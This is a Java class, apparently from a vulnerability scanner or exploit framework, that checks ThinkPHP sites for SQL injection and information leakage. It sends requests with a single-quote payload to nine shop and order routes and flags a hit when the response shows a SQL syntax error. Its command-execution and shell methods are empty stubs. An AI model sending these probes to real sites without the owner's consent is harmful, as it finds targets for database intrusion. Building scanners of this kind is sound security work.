content: package com.agony.demo.exploit;
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.github.kevinsawicki.http.HttpRequest;
  
  
  import java.util.ArrayList;
  
  public class tp_multi_sql_leak implements BasePayload {
      @Override
      public Result checkVUL(String url) throws Exception {
          ArrayList<String> routes = new ArrayList<>();
          routes.add("/index.php?s=/home/shopcart/getPricetotal/tag/1%27");
          routes.add("/index.php?s=/home/shopcart/getpriceNum/id/1%27");
          routes.add("/index.php?s=/home/user/cut/id/1%27");
          routes.add("/index.php?s=/home/service/index/id/1%27");
          routes.add("/index.php?s=/home/pay/chongzhi/orderid/1%27");
          routes.add("/index.php?s=/home/pay/chongzhi/orderid/1%27");
          routes.add("/index.php?s=/home/order/complete/id/1%27");
          routes.add("/index.php?s=/home/order/detail/id/1%27");
          routes.add("/index.php?s=/home/order/cancel/id/1%27");
  
          for (String route : routes) {
              String payload = url + route;
              try {
                  String res = HttpRequest.get(payload).body();
                  if (res.contains("SQL syntax")) {
                      return new Result(true, "ThinkPHP multi sql注入 && 信息泄露漏洞", payload);
                  }
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
  
          return new Result(false, "ThinkPHP multi sql注入 && 信息泄露漏洞", null);
      }
  
      @Override
      public Result exeVUL(String url, String cmd) throws Exception {
          return new Result(false, null, null);
      }
  
      @Override
      public Result getShell(String url) throws Exception {
          return new Result(false, null, null);
      }
  }
  